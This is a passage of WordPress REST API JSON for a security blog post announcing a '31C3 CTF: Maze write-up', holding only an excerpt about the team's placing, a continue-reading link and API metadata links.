place (out of the 286 teams that scored any points at all), but considering that only me, capsl and avlidienbrunn had time to spend any time on it (and I &hellip; <a href=\"https:\/\/piratesecurityblog.com\/?p=28\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">31C3 CTF: Maze write-up<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[],"_links":{"self":[{"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/posts\/28"}],"collection":[{"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=28"}],"version-history":[{"count":1,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/posts\/28\/revisions"}],"predecessor-version":[{"id":29,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/posts\/28\/revisions\/29"}],"wp:attachment":[{"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=28"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=28"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=28"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}